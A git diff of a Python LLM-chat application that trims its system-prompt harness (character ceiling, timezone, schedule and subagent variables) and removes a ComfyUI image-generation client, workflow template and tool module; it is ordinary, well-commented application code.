return f"data:image/jpeg;base64,{encoded}"
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -33,57 +33,23 @@ clearing those fragments in the admin page restores it exactly.
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
from datetime import datetime
|
||||
from typing import Any
|
||||
|
||||
from sqlalchemy import select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.db.models import KIND_TASK, User
|
||||
from lembas.services import branding, prompts, settings_store
|
||||
from lembas.db.models import User
|
||||
from lembas.services import prompts, settings_store
|
||||
from lembas.services.library import memories as memories_service
|
||||
from lembas.services.library import skills as skills_service
|
||||
from lembas.services.schedule import clock
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# A ceiling on the whole block, so that a large library cannot quietly eat the
|
||||
# context window. An administrator can lower it; `max_harness_chars` of 0 means
|
||||
# "use this".
|
||||
#
|
||||
# It has to be larger than everything the shipped defaults are already allowed
|
||||
# to put in, and at 8000 it was not. The fragments alone are about 7,900
|
||||
# characters for an agent chat, and on top of that `index_chars` grants a 2,000
|
||||
# character project listing and `instructions_chars` a 4,000 character
|
||||
# AGENTS.md -- both defaults, both on by default. The block was therefore cut at
|
||||
# 8,000 on an ordinary agent chat, and `prompts.assemble` cuts the *tail*, which
|
||||
# by fragment order is exactly the context worth having: the listing was severed
|
||||
# mid-tree and `context.agent_instructions` was dropped in its entirety. The one
|
||||
# path by which a project's own instructions reach a model did not reach it.
|
||||
#
|
||||
# The two big blocks already carry their own budgets, applied before assembly,
|
||||
# so they are bounded whatever this is. What this bounds is the *fragments*
|
||||
# growing without anybody noticing -- so it is set above the sum of what those
|
||||
# budgets grant, with room for the plan and the memories beside them.
|
||||
#
|
||||
# 20,000 rather than 16,000, which the shipped set had grown to within 1,300
|
||||
# characters of. A ceiling this close to the content is one the next fragment
|
||||
# crosses, and crossing it is silent: `assemble` cuts the tail, and the tail is
|
||||
# the project's own AGENTS.md. `tests/test_harness.py` pins a margin now as well
|
||||
# as a fit, so the room is a fact rather than a hope.
|
||||
#
|
||||
# 24,000 now, because that margin did its job: adding `core.commit` and
|
||||
# `tool.agent_edits` took the headroom under 20% and the test said so rather
|
||||
# than the AGENTS.md quietly losing its last paragraph on somebody's install.
|
||||
# Raising the ceiling costs nothing by itself -- it is a limit, not a size, and
|
||||
# the assembled block is the same length either way. What it buys is that the
|
||||
# margin keeps meaning what it says.
|
||||
MAX_HARNESS_CHARS = 24000
|
||||
|
||||
# How much of the ceiling the shipped fragments may occupy at full budget. The
|
||||
# rest is headroom for an administrator's own wording, which is the thing this
|
||||
# limit exists to leave room for -- an override is usually longer than the
|
||||
# default it replaces, not shorter.
|
||||
HARNESS_MARGIN = 0.2
|
||||
# context window. Memory and skills have their own caps below this one. An
|
||||
# administrator can lower it; `max_harness_chars` of 0 means "use this".
|
||||
MAX_HARNESS_CHARS = 8000
|
||||
|
||||
# How many attached filenames to name in the prompt. Enough to show what the
|
||||
# tags will look like, few enough that a chat with thirty files does not spend
|
||||
@@ -115,32 +81,6 @@ def _tool_names(tools: list[dict[str, Any]]) -> str:
|
||||
)
|
||||
|
||||
|
||||
def _image_templates(db: DBSession) -> str:
|
||||
"""One line per workflow, name and description.
|
||||
|
||||
The description is the load-bearing half, the same way it is for a skill:
|
||||
it is the only thing the model has to choose with, and "workflow-2" is not
|
||||
a choice. Capped, because a list of thirty costs the window on every
|
||||
request forever.
|
||||
"""
|
||||
from lembas.db.models import ImageWorkflow
|
||||
|
||||
rows = list(
|
||||
db.scalars(
|
||||
select(ImageWorkflow)
|
||||
.where(ImageWorkflow.enabled.is_(True))
|
||||
.order_by(ImageWorkflow.position, ImageWorkflow.slug)
|
||||
.limit(12)
|
||||
)
|
||||
)
|
||||
return "\n".join(f"- {row.slug}: {row.description or row.name}" for row in rows)
|
||||
|
||||
|
||||
def _image_models(db: DBSession) -> str:
|
||||
"""The checkpoints an administrator has listed, comma separated."""
|
||||
return ", ".join(settings_store.images(db).get("checkpoints") or [])
|
||||
|
||||
|
||||
def _document_names(db: DBSession, chat) -> str:
|
||||
"""The names of the non-image files attached anywhere in this chat."""
|
||||
from lembas.db.models import Attachment
|
||||
@@ -176,36 +116,12 @@ def context_variables(
|
||||
|
||||
offered = tools or []
|
||||
families = _families(db, offered)
|
||||
# The reader's zone, not the server's. Telling somebody in another country
|
||||
# that it is Tuesday when it is Wednesday where they are was survivable
|
||||
# while the answer was only ever prose; it stops being survivable the moment
|
||||
# they can say "every Monday at 3" and something has to work out when that
|
||||
# is. `zone_for` falls back to the server's, so an instance where nobody has
|
||||
# set one behaves exactly as it always did.
|
||||
stamp = clock.now_for(user)
|
||||
stamp = datetime.now().astimezone()
|
||||
|
||||
values: dict[str, str] = {
|
||||
"today": stamp.strftime("%A %-d %B %Y"),
|
||||
"now": stamp.strftime("%A %-d %B %Y, %H:%M (UTC%z)"),
|
||||
# Named so a model working out a schedule can say which zone it meant,
|
||||
# and so `core.today` can carry it without a second fragment.
|
||||
#
|
||||
# The fallback is load-bearing and used to be absent. `name_for` returns
|
||||
# "" for anybody who has never chosen a zone -- the default state of
|
||||
# every account -- and the comment here claimed that dropped the line
|
||||
# rather than announcing the server's zone as a decision. It did not:
|
||||
# `substitute` drops a line only when it is *blank* after expansion, and
|
||||
# this variable sits inside a sentence, so every such request shipped
|
||||
# "- Times the person gives you are in unless they say otherwise."
|
||||
#
|
||||
# Naming the server's zone was never the thing being avoided anyway.
|
||||
# `stamp` is `clock.now_for(user)`, which already falls back to it, so
|
||||
# `{{today}}` and `{{now}}` are *already* in that zone and `{{now}}`
|
||||
# already prints its offset. Withholding the label from a value the
|
||||
# model has been given is not restraint, it is a hole. This is the
|
||||
# fallback `schedule/compile.py` has always had, for the same reason.
|
||||
"timezone": clock.name_for(user) or str(clock.server_zone()),
|
||||
"instance_name": branding.for_db(db).name,
|
||||
"instance_name": str(settings_store.get(db, "instance_name") or "LLeMbas"),
|
||||
"user_name": (user.name or "") if user is not None else "",
|
||||
"model_name": "",
|
||||
# What this request will actually allow, so the model is not told a
|
||||
@@ -218,11 +134,6 @@ def context_variables(
|
||||
# same sentence with a different number in it. Blank when there is no
|
||||
# ceiling at all, so the fragment vanishes rather than promising zero.
|
||||
"round_budget": str(settings_store.chat_rounds(db) or ""),
|
||||
# The complement, and the gate on `core.keep_working`. Exactly one of
|
||||
# the two is ever set: a model told it has a budget rations it and stops
|
||||
# early to report progress, and one told to keep going does the work.
|
||||
# Not rendered anywhere either.
|
||||
"unbounded": "" if settings_store.chat_rounds(db) else "yes",
|
||||
"memory_limit": str(memories_service.MAX_MEMORY_CHARS),
|
||||
"tool_names": _tool_names(offered),
|
||||
"memories": memories_service.block(db, user) if "memory" in families else "",
|
||||
@@ -231,18 +142,6 @@ def context_variables(
|
||||
if "skills" in families
|
||||
else ""
|
||||
),
|
||||
# What can be drawn, and with what. Guarded by family for the reason the
|
||||
# memory block is: an instance with no ComfyUI must not pay a settings
|
||||
# read and a table scan to tell a model about a tool it was not offered.
|
||||
# Database reads only -- `context_variables` is synchronous and on the
|
||||
# request path, so asking ComfyUI itself what it has would hold the
|
||||
# request open while somebody's box thought about it. The admin page
|
||||
# discovers; this reads what it stored.
|
||||
"image_templates": _image_templates(db) if "image" in families else "",
|
||||
"image_models": _image_models(db) if "image" in families else "",
|
||||
"image_instructions": (
|
||||
str(settings_store.images(db).get("instructions") or "") if "image" in families else ""
|
||||
),
|
||||
"knowledge_bases": "",
|
||||
"document_names": "",
|
||||
"agent_target": "",
|
||||
@@ -254,18 +153,6 @@ def context_variables(
|
||||
"agent_instructions": "",
|
||||
"agent_instructions_file": "",
|
||||
"plan": "",
|
||||
"plan_editable": "",
|
||||
# Empty everywhere but a scheduled task's own chat, which is what makes
|
||||
# it the gate on `core.unattended` as well as the content of
|
||||
# `context.schedule`. Two fragments, one variable, and no way for the
|
||||
# warning to appear without the thing it warns about.
|
||||
"schedule_instruction": "",
|
||||
"schedule_summary": "",
|
||||
# Set only in a helper's own chat, and the gate on `core.subagent`.
|
||||
# Deliberately not the same variable as `schedule_instruction` even
|
||||
# though both mean "nobody is reading": the two say different things to
|
||||
# a model, and one fragment covering both would have to say neither.
|
||||
"subagent": "",
|
||||
}
|
||||
|
||||
if chat is not None:
|
||||
@@ -287,42 +174,9 @@ def context_variables(
|
||||
if "agent" in families:
|
||||
values.update(_agent_values(db, chat, user))
|
||||
|
||||
# Not gated on a family: a scheduled task has no tools of its own, and
|
||||
# the thing that must reach the model is precisely that nobody is
|
||||
# reading. One primary-key lookup, the same deal `plan` gets.
|
||||
if chat.kind == KIND_TASK:
|
||||
values.update(_schedule_values(db, chat, user))
|
||||
|
||||
# Not gated on a family either, and for the same reason: what has to
|
||||
# reach a helper is that it is one. A column read, no query.
|
||||
if chat.parent_chat_id:
|
||||
values["subagent"] = "yes"
|
||||
|
||||
return values
|
||||
|
||||
|
||||
def _schedule_values(db: DBSession, chat, user) -> dict[str, str]:
|
||||
"""What a scheduled task's chat is for, and how often it comes round.
|
||||
|
||||
A task chat accumulates every run, so by the tenth the original instruction
|
||||
is far out of sight up the transcript. Put back in front of the model each
|
||||
turn rather than left to be inferred -- exactly what `Chat.plan_message_id`
|
||||
exists to do for a plan.
|
||||
"""
|
||||
from lembas.services import schedules as schedules_service
|
||||
|
||||
schedule = schedules_service.for_chat(db, chat)
|
||||
if schedule is None:
|
||||
# The schedule was removed and its chat kept. There is nothing standing
|
||||
# to say, so the fragments vanish rather than describing a timer that no
|
||||
# longer exists.
|
||||
return {}
|
||||
return {
|
||||
"schedule_instruction": schedule.instruction or schedule.request or "",
|
||||
"schedule_summary": schedules_service.describe(schedule, owner=user),
|
||||
}
|
||||
|
||||
|
||||
def _agent_values(db: DBSession, chat, user) -> dict[str, str]:
|
||||
"""What an agent chat's harness needs to say about where it is."""
|
||||
from lembas.services import plans as plans_service
|
||||
@@ -350,27 +204,13 @@ def _agent_values(db: DBSession, chat, user) -> dict[str, str]:
|
||||
"max_rounds": str(context.limits.steps),
|
||||
# Blanked, which is what makes `core.rounds` vanish here: `steps` is a
|
||||
# runaway backstop and telling a model it has a budget of two hundred
|
||||
# invites it to ration one. `unbounded` is its complement and is what
|
||||
# `core.keep_working` is gated on, so an agent chat always gets the
|
||||
# keep-going half whatever the instance setting says.
|
||||
# invites it to ration one.
|
||||
"round_budget": "",
|
||||
"unbounded": "yes",
|
||||
"project_files": _project_files(db, chat, context, settings_store, index_service),
|
||||
# Already resolved on the context, from one primary-key lookup in
|
||||
# `agent_session.resolve`. A plan the model cannot see is a plan it
|
||||
# cannot keep current, which is the whole of why this is here.
|
||||
"plan": plans_service.render_block(context.plan),
|
||||
# Whether `plan_update` is actually in this request, which is not the
|
||||
# same question as whether there is a plan. `agent/tools.py` drops it in
|
||||
# Plan mode -- that mode ends with `plan_submit` instead -- so gating its
|
||||
# guidance on `plan` alone told a model in Plan mode to "keep it current
|
||||
# with plan_update as you go" about a tool that was not there, directly
|
||||
# under `core.tool_list` saying anything unnamed does not exist. The
|
||||
# fragment's own hint claimed the two coincided. They do not, and this
|
||||
# is the variable that makes them.
|
||||
"plan_editable": (
|
||||
plans_service.render_block(context.plan) if context.mode != policy.MODE_PLAN else ""
|
||||
),
|
||||
**_project_instructions(db, chat, context, settings_store),
|
||||
}
|
||||
|
||||
|
||||
@@ -1,13 +0,0 @@
|
||||
"""Making pictures, on a ComfyUI somebody else is running.
|
||||
|
||||
Three modules, split along the same seam the rest of the codebase uses:
|
||||
`comfy.py` speaks HTTP and knows nothing about chats, `workflow.py` turns a
|
||||
stored template plus a model's arguments into the document ComfyUI wants, and
|
||||
`tool.py` is the `ToolDef` that ties them to a conversation.
|
||||
|
||||
Nothing here executes anything locally. That is the same rule agent chats
|
||||
follow: the work happens on a service reached over HTTP, chosen and configured
|
||||
by an administrator, and the security of it is the security of that service.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
@@ -1,52 +0,0 @@
|
||||
{
|
||||
"3": {
|
||||
"inputs": {
|
||||
"seed": "{{seed}}",
|
||||
"steps": "{{steps}}",
|
||||
"cfg": "{{cfg}}",
|
||||
"sampler_name": "{{sampler}}",
|
||||
"scheduler": "{{scheduler}}",
|
||||
"denoise": "{{denoise}}",
|
||||
"model": ["4", 0],
|
||||
"positive": ["6", 0],
|
||||
"negative": ["7", 0],
|
||||
"latent_image": ["5", 0]
|
||||
},
|
||||
"class_type": "KSampler",
|
||||
"_meta": { "title": "KSampler" }
|
||||
},
|
||||
"4": {
|
||||
"inputs": { "ckpt_name": "{{model}}" },
|
||||
"class_type": "CheckpointLoaderSimple",
|
||||
"_meta": { "title": "Load Checkpoint" }
|
||||
},
|
||||
"5": {
|
||||
"inputs": {
|
||||
"width": "{{width}}",
|
||||
"height": "{{height}}",
|
||||
"batch_size": "{{batch}}"
|
||||
},
|
||||
"class_type": "EmptyLatentImage",
|
||||
"_meta": { "title": "Empty Latent Image" }
|
||||
},
|
||||
"6": {
|
||||
"inputs": { "text": "{{prompt}}", "clip": ["4", 1] },
|
||||
"class_type": "CLIPTextEncode",
|
||||
"_meta": { "title": "CLIP Text Encode (Prompt)" }
|
||||
},
|
||||
"7": {
|
||||
"inputs": { "text": "{{negative}}", "clip": ["4", 1] },
|
||||
"class_type": "CLIPTextEncode",
|
||||
"_meta": { "title": "CLIP Text Encode (Negative)" }
|
||||
},
|
||||
"8": {
|
||||
"inputs": { "samples": ["3", 0], "vae": ["4", 2] },
|
||||
"class_type": "VAEDecode",
|
||||
"_meta": { "title": "VAE Decode" }
|
||||
},
|
||||
"9": {
|
||||
"inputs": { "filename_prefix": "LLeMbas", "images": ["8", 0] },
|
||||
"class_type": "SaveImage",
|
||||
"_meta": { "title": "Save Image" }
|
||||
}
|
||||
}
|
||||
@@ -1,374 +0,0 @@
|
||||
"""Talking to ComfyUI.
|
||||
|
||||
Four calls and a discovery one, all plain httpx. `fetch.fetch` cannot be reused
|
||||
for the same reasons `custom_tools` gives -- it is GET-only, bodyless, and
|
||||
refuses every content type that is not HTML or text, which is both the JSON here
|
||||
and the PNG at the end of it.
|
||||
|
||||
**The base URL is exempt from the SSRF guard, and that is deliberate rather than
|
||||
forgotten.** `fetch.check_url` exists to stop a *model or a reader* pointing the
|
||||
application at something on the private network; this address was typed by an
|
||||
administrator into the admin page, exactly like `Connection.base_url` and the two
|
||||
audio endpoints, none of which are checked either. Saying so here because the
|
||||
default value is `127.0.0.1:8188`, which is precisely the shape the guard exists
|
||||
to refuse and therefore looks like a hole rather than a decision.
|
||||
|
||||
Progress is **polled, not streamed**. ComfyUI offers a WebSocket for it, and
|
||||
holding one open for the length of a generation is the live-connection state the
|
||||
whole `agent/ssh.py` design forbids; polling `/history` is self-healing across a
|
||||
restart of either side, and the thing being waited for takes tens of seconds, so
|
||||
a poll costs nothing anybody can measure.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import json
|
||||
import logging
|
||||
import time
|
||||
import uuid
|
||||
from dataclasses import dataclass
|
||||
from typing import Any
|
||||
|
||||
import httpx
|
||||
|
||||
from lembas.services.llm.openai_client import (
|
||||
LLMError,
|
||||
describe_http_error,
|
||||
)
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# What one generated image may weigh. A cap is required rather than tidy: this is
|
||||
# the only place in the codebase where an external service hands back raw bytes
|
||||
# that are then written to disk, and neither `audio.speak` nor `openai_client`
|
||||
# has one to copy. Generous, because a 2048px PNG is a legitimate several
|
||||
# megabytes and refusing it would be refusing the feature.
|
||||
MAX_IMAGE_BYTES = 32 * 1024 * 1024
|
||||
|
||||
# How often to ask whether it has finished, and how long to keep asking. The
|
||||
# interval is not adaptive: unlike a background job, which may run for hours,
|
||||
# a generation is over in tens of seconds and the whole reply is parked on it.
|
||||
POLL_INTERVAL = 1.0
|
||||
# How long to wait for the queue *before* our own job starts running. A busy
|
||||
# ComfyUI with somebody else's batch in front of us is not an error.
|
||||
DEFAULT_TIMEOUT = 600.0
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Config:
|
||||
"""Everything a call needs, lifted out of the settings group.
|
||||
|
||||
A snapshot rather than a session, for the reason `ToolContext` is one: a
|
||||
generation outlives the request that resolved it.
|
||||
"""
|
||||
|
||||
base_url: str
|
||||
api_key: str = ""
|
||||
timeout: float = DEFAULT_TIMEOUT
|
||||
|
||||
@property
|
||||
def configured(self) -> bool:
|
||||
return bool(self.base_url)
|
||||
|
||||
def url(self, path: str) -> str:
|
||||
return f"{self.base_url.rstrip('/')}/{path.lstrip('/')}"
|
||||
|
||||
def headers(self) -> dict[str, str]:
|
||||
# ComfyUI itself has no auth; a key is only ever for something in front
|
||||
# of it, so an empty one must not become `Authorization: Bearer `.
|
||||
return {"Authorization": f"Bearer {self.api_key}"} if self.api_key else {}
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Ref:
|
||||
"""Where a finished image lives on the far side."""
|
||||
|
||||
filename: str
|
||||
subfolder: str = ""
|
||||
kind: str = "output"
|
||||
|
||||
|
||||
class ComfyError(LLMError):
|
||||
"""Anything that stopped a generation, in words worth showing somebody."""
|
||||
|
||||
|
||||
class OutOfMemory(ComfyError):
|
||||
"""The far side ran out of VRAM.
|
||||
|
||||
Its own class because it is the one failure with an obvious next move --
|
||||
a smaller picture, or a smaller checkpoint -- and the model is told to make
|
||||
it. Everything else is reported and stopped at.
|
||||
"""
|
||||
|
||||
|
||||
class Interrupted(ComfyError):
|
||||
"""Somebody cancelled it from ComfyUI's own interface, or it was stopped.
|
||||
|
||||
Distinct because it is not a fault: retrying is reasonable, and "the
|
||||
workflow failed" would be describing a decision as a breakage.
|
||||
"""
|
||||
|
||||
|
||||
# What `exception_type` looks like when a GPU has run out. Matched on the type
|
||||
# rather than on the message, which is a paragraph of allocator advice written
|
||||
# for whoever is running the box and not for a model.
|
||||
_OOM_TYPES = ("outofmemory", "out_of_memory", "cuda error: out of memory")
|
||||
|
||||
|
||||
def _transport_error(exc: httpx.RequestError, config: Config) -> ComfyError:
|
||||
"""The `wrap_transport_error` shape, said about ComfyUI rather than an LLM.
|
||||
|
||||
Not reused directly: that one names the request timeout from the deployment
|
||||
settings, which is not the timeout in force here.
|
||||
"""
|
||||
if isinstance(exc, httpx.ConnectError):
|
||||
return ComfyError(
|
||||
f"Could not reach ComfyUI at {config.base_url}. Is it running and the URL correct?"
|
||||
)
|
||||
if isinstance(exc, httpx.TimeoutException):
|
||||
return ComfyError(f"ComfyUI at {config.base_url} did not respond in time.")
|
||||
return ComfyError(f"Could not reach ComfyUI at {config.base_url}: {exc}")
|
||||
|
||||
|
||||
async def _get_json(config: Config, path: str, *, timeout: float = 30.0) -> Any:
|
||||
try:
|
||||
async with httpx.AsyncClient(timeout=timeout) as client:
|
||||
response = await client.get(config.url(path), headers=config.headers())
|
||||
response.raise_for_status()
|
||||
return response.json()
|
||||
except httpx.HTTPStatusError as exc:
|
||||
raise ComfyError(describe_http_error(exc), status_code=exc.response.status_code) from exc
|
||||
except httpx.RequestError as exc:
|
||||
raise _transport_error(exc, config) from exc
|
||||
except (ValueError, json.JSONDecodeError) as exc:
|
||||
raise ComfyError(f"ComfyUI sent something that is not JSON: {exc}") from exc
|
||||
|
||||
|
||||
async def submit(config: Config, workflow: dict[str, Any]) -> str:
|
||||
"""Queue a workflow, and answer with the id it was given.
|
||||
|
||||
A `node_errors` block is a refusal rather than a failure: the workflow was
|
||||
accepted as JSON and rejected as a graph, usually because a checkpoint name
|
||||
does not exist on that machine. It is reported with the node named, because
|
||||
"invalid prompt" against a twelve-node document says nothing.
|
||||
"""
|
||||
body = {"prompt": workflow, "client_id": uuid.uuid4().hex}
|
||||
try:
|
||||
async with httpx.AsyncClient(timeout=60.0) as client:
|
||||
response = await client.post(config.url("prompt"), headers=config.headers(), json=body)
|
||||
if response.status_code >= 400:
|
||||
raise ComfyError(_refusal(response))
|
||||
data = response.json()
|
||||
except ComfyError:
|
||||
raise
|
||||
except httpx.RequestError as exc:
|
||||
raise _transport_error(exc, config) from exc
|
||||
except (ValueError, json.JSONDecodeError) as exc:
|
||||
raise ComfyError(f"ComfyUI sent something that is not JSON: {exc}") from exc
|
||||
|
||||
if errors := (data.get("node_errors") or {}):
|
||||
raise ComfyError(_describe_nodes(errors))
|
||||
prompt_id = str(data.get("prompt_id") or "")
|
||||
if not prompt_id:
|
||||
raise ComfyError("ComfyUI accepted the workflow but did not say what to call it.")
|
||||
return prompt_id
|
||||
|
||||
|
||||
def _refusal(response: httpx.Response) -> str:
|
||||
"""Why ComfyUI would not take a workflow, in one sentence."""
|
||||
try:
|
||||
payload = response.json()
|
||||
except (ValueError, json.JSONDecodeError):
|
||||
return f"ComfyUI refused the workflow (HTTP {response.status_code})."
|
||||
if isinstance(payload, dict):
|
||||
if errors := (payload.get("node_errors") or {}):
|
||||
return _describe_nodes(errors)
|
||||
if message := payload.get("error"):
|
||||
if isinstance(message, dict):
|
||||
message = message.get("message") or message.get("type") or ""
|
||||
return f"ComfyUI refused the workflow: {message}"
|
||||
return f"ComfyUI refused the workflow (HTTP {response.status_code})."
|
||||
|
||||
|
||||
def _describe_nodes(errors: dict[str, Any]) -> str:
|
||||
parts: list[str] = []
|
||||
for node, detail in list(errors.items())[:4]:
|
||||
messages = detail.get("errors") if isinstance(detail, dict) else None
|
||||
first = ""
|
||||
if isinstance(messages, list) and messages:
|
||||
entry = messages[0]
|
||||
first = entry.get("message", "") if isinstance(entry, dict) else str(entry)
|
||||
parts.append(f"node {node}: {first}" if first else f"node {node}")
|
||||
return "ComfyUI refused the workflow — " + "; ".join(parts)
|
||||
|
||||
|
||||
async def await_images(config: Config, prompt_id: str) -> list[Ref]:
|
||||
"""Wait for one queued workflow and answer with what it saved.
|
||||
|
||||
**The record existing is what "finished" means, not `status.completed`.**
|
||||
ComfyUI writes the history entry in `task_done` and nowhere else, so it
|
||||
appears exactly once the job is over -- but it sets `completed=e.success`,
|
||||
so a run that failed is `completed: false` for ever. Waiting on that flag
|
||||
means every out-of-memory, every cancelled job and every broken node hangs
|
||||
the reply for the whole timeout and then reports a timeout, when ComfyUI
|
||||
knew what was wrong within seconds and said so.
|
||||
|
||||
So: no record means not yet, a record means done, and `status_str` says
|
||||
which kind of done.
|
||||
"""
|
||||
deadline = time.monotonic() + config.timeout
|
||||
while True:
|
||||
record = (await _get_json(config, f"history/{prompt_id}")).get(prompt_id)
|
||||
if isinstance(record, dict) and record.get("status") is not None:
|
||||
status = record.get("status") or {}
|
||||
if status.get("status_str") != "success":
|
||||
raise _failure(status)
|
||||
return _refs_in(record.get("outputs") or {})
|
||||
if time.monotonic() > deadline:
|
||||
raise ComfyError(
|
||||
f"ComfyUI did not finish within {config.timeout:.0f}s. "
|
||||
"It may still be working; the queue is on its own page."
|
||||
)
|
||||
await asyncio.sleep(POLL_INTERVAL)
|
||||
|
||||
|
||||
def _failure(status: dict[str, Any]) -> ComfyError:
|
||||
"""Why a workflow stopped, out of the messages ComfyUI recorded against it.
|
||||
|
||||
`status.messages` is a list of `[name, payload]` pairs -- the lifecycle of
|
||||
the run. The last `execution_error` or `execution_interrupted` in it is the
|
||||
thing that ended it, and carries the node and the exception. Without reading
|
||||
these the only thing that could be said is "error", which is what ComfyUI's
|
||||
own status string amounts to.
|
||||
"""
|
||||
event, payload = "", {}
|
||||
for entry in status.get("messages") or []:
|
||||
if isinstance(entry, list | tuple) and len(entry) == 2:
|
||||
name, body = entry
|
||||
if name in ("execution_error", "execution_interrupted"):
|
||||
event, payload = str(name), body if isinstance(body, dict) else {}
|
||||
|
||||
node = str(payload.get("node_type") or "").strip()
|
||||
where = f" in {node}" if node else ""
|
||||
|
||||
if event == "execution_interrupted":
|
||||
return Interrupted(f"The image was cancelled on the ComfyUI side{where}.")
|
||||
|
||||
kind = str(payload.get("exception_type") or "")
|
||||
detail = _first_sentence(str(payload.get("exception_message") or ""))
|
||||
if any(marker in kind.lower() for marker in _OOM_TYPES) or "out of memory" in detail.lower():
|
||||
return OutOfMemory(f"ComfyUI ran out of video memory{where}. {detail}".strip())
|
||||
if not detail and not kind:
|
||||
return ComfyError(f"ComfyUI could not finish the workflow{where}.")
|
||||
return ComfyError(f"ComfyUI could not finish the workflow{where}: {detail or kind}")
|
||||
|
||||
|
||||
def _first_sentence(message: str) -> str:
|
||||
"""Enough of an exception to act on, and no more.
|
||||
|
||||
A torch OOM runs to several lines of allocator advice -- environment
|
||||
variables to set, fragmentation notes -- addressed to whoever runs the box.
|
||||
None of it means anything to a model, and all of it costs tokens in a tool
|
||||
result that is already a failure.
|
||||
"""
|
||||
first = message.strip().split("\n", 1)[0].strip()
|
||||
if len(first) > 200:
|
||||
first = first[:200].rsplit(" ", 1)[0] + "…"
|
||||
return first
|
||||
|
||||
|
||||
def _refs_in(outputs: dict[str, Any]) -> list[Ref]:
|
||||
"""Every image any node saved, in node order.
|
||||
|
||||
Every node is read rather than a `SaveImage` being looked for by name: a
|
||||
template is somebody else's document and may save from a node called
|
||||
anything, or from two of them.
|
||||
"""
|
||||
refs: list[Ref] = []
|
||||
for node in outputs.values():
|
||||
for image in (node or {}).get("images") or []:
|
||||
if filename := str(image.get("filename") or ""):
|
||||
refs.append(
|
||||
Ref(
|
||||
filename=filename,
|
||||
subfolder=str(image.get("subfolder") or ""),
|
||||
kind=str(image.get("type") or "output"),
|
||||
)
|
||||
)
|
||||
return refs
|
||||
|
||||
|
||||
async def fetch_image(config: Config, ref: Ref) -> bytes:
|
||||
"""The bytes of one finished image."""
|
||||
params = {"filename": ref.filename, "subfolder": ref.subfolder, "type": ref.kind}
|
||||
try:
|
||||
async with httpx.AsyncClient(timeout=120.0) as client:
|
||||
response = await client.get(config.url("view"), headers=config.headers(), params=params)
|
||||
response.raise_for_status()
|
||||
payload = response.content
|
||||
except httpx.HTTPStatusError as exc:
|
||||
raise ComfyError(describe_http_error(exc), status_code=exc.response.status_code) from exc
|
||||
except httpx.RequestError as exc:
|
||||
raise _transport_error(exc, config) from exc
|
||||
|
||||
if not payload:
|
||||
raise ComfyError(f"ComfyUI returned an empty file for {ref.filename}.")
|
||||
if len(payload) > MAX_IMAGE_BYTES:
|
||||
raise ComfyError(
|
||||
f"{ref.filename} is {len(payload) // (1024 * 1024)}MB, over the "
|
||||
f"{MAX_IMAGE_BYTES // (1024 * 1024)}MB limit."
|
||||
)
|
||||
return payload
|
||||
|
||||
|
||||
async def free(config: Config) -> None:
|
||||
"""Ask ComfyUI to drop its models from memory.
|
||||
|
||||
Best-effort by design and never raised into the caller: this runs on the way
|
||||
out of a generation that has already produced its image, and failing the
|
||||
whole tool because a memory hint was refused would be turning a tidy-up into
|
||||
an error. The consequence of it silently not working is VRAM staying used,
|
||||
which is the state Preserve VRAM was already in before it was switched on.
|
||||
"""
|
||||
try:
|
||||
async with httpx.AsyncClient(timeout=30.0) as client:
|
||||
await client.post(
|
||||
config.url("free"),
|
||||
headers=config.headers(),
|
||||
json={"unload_models": True, "free_memory": True},
|
||||
)
|
||||
except Exception: # noqa: BLE001 - a hint that failed is not a failed generation
|
||||
log.debug("could not free ComfyUI at %s", config.base_url, exc_info=True)
|
||||
|
||||
|
||||
async def discover(config: Config) -> tuple[list[str], list[str], list[str]]:
|
||||
"""What this ComfyUI can actually do: checkpoints, samplers, schedulers.
|
||||
|
||||
For the admin page only. Never called from the request path -- the tool
|
||||
reads the stored lists, exactly as the project listing is read from a cache
|
||||
rather than walked, because a keystroke must not wait on a machine.
|
||||
"""
|
||||
checkpoints = _options(
|
||||
await _get_json(config, "object_info/CheckpointLoaderSimple"),
|
||||
"CheckpointLoaderSimple",
|
||||
"ckpt_name",
|
||||
)
|
||||
sampler_info = await _get_json(config, "object_info/KSampler")
|
||||
samplers = _options(sampler_info, "KSampler", "sampler_name")
|
||||
schedulers = _options(sampler_info, "KSampler", "scheduler")
|
||||
return checkpoints, samplers, schedulers
|
||||
|
||||
|
||||
def _options(payload: Any, node: str, field: str) -> list[str]:
|
||||
"""The allowed values of one input, out of an `/object_info` document.
|
||||
|
||||
The shape is `{node: {input: {required: {field: [[...values], {...meta}]}}}}`
|
||||
-- a list whose first element is the list of options. Read defensively: this
|
||||
is somebody else's schema and a custom node pack can change it.
|
||||
"""
|
||||
try:
|
||||
spec = payload[node]["input"]["required"][field][0]
|
||||
except (KeyError, IndexError, TypeError):
|
||||
return []
|
||||
return [str(value) for value in spec] if isinstance(spec, list) else []
|
||||
@@ -1,711 +0,0 @@
|
||||
"""The tool that makes a picture, and the loop that decides to keep it.
|
||||
|
||||
One call is one finished image. The alternative -- return every attempt to the
|
||||
conversation and let the model decide whether to call again -- costs a full
|
||||
round per retry, makes the ceiling advisory rather than enforced, and shows the
|
||||
reader every reject on the way past. So the retrying happens here, and what
|
||||
comes back is the image that was kept.
|
||||
|
||||
**Three things are ordered rather than incidental.**
|
||||
|
||||
*The reviewer is asked about bytes, not about a row.* An attempt that is going
|
||||
to be thrown away should not leave an `Attachment` behind, so the judge is shown
|
||||
a downscaled preview built in memory and only the kept image is ever written.
|
||||
|
||||
*Preserve VRAM swaps around the review, not around the tool.* The sequence is
|
||||
unload the LLM, generate, free ComfyUI, ask the reviewer (which loads the LLM
|
||||
again), and round once more if it said no. Two model loads per retry, which is
|
||||
why the two settings are independent and the admin page says so.
|
||||
|
||||
*Nothing loads the LLM back at the end.* The reply's next request does it, and
|
||||
llama-swap -- or Ollama, or anything else worth pointing this at -- loads on
|
||||
demand. A step that exists in the description and not in the code looks like an
|
||||
omission, so it is said here instead.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import logging
|
||||
import re
|
||||
